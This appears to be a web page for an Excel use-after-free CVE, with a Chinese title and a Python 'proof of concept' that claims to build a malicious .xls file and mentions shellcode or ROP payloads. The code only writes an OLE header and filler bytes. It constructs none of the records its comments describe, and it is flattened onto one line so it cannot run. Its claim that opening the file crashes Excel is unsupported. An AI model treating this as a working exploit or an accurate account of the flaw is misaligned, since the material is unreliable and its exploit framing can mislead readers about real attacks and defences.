CVE-2026-32189 Microsoft Office Excel释放后使用漏洞

import struct # Conceptual PoC for CVE-2026-32189 (Excel UAF) # This script generates a malformed Excel structure intended to trigger a Use-After-Free condition. def create_malicious_xls(): # Standard OLE2 header for Excel files ole_header = b'\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1' print("[*] Generating malformed Excel file structure...") # Simulation of the vulnerability trigger: # 1. Construct a specific record (Record A) that allocates memory. # 2. Construct a subsequent record (Record B) that forces Excel to free Record A. # 3. Construct Record C that attempts to access Record A (Use-After-Free). # Payload intended to occupy the freed memory (Heap Grooming/Spraying) # In a real exploit, this would be shellcode or ROP gadgets. payload = b"\xCC" * 0x100 # Int3 instructions for debugging # Malformed stream data simulating the corruption malformed_stream = ole_header + payload filename = "cve_2026_32189_poc.xls" with open(filename, "wb") as f: f.write(malformed_stream) print(f"[+] PoC file generated: {filename}") print("[*] Open this file in a vulnerable Excel version to observe the crash.") if __name__ == "__main__": create_malicious_xls()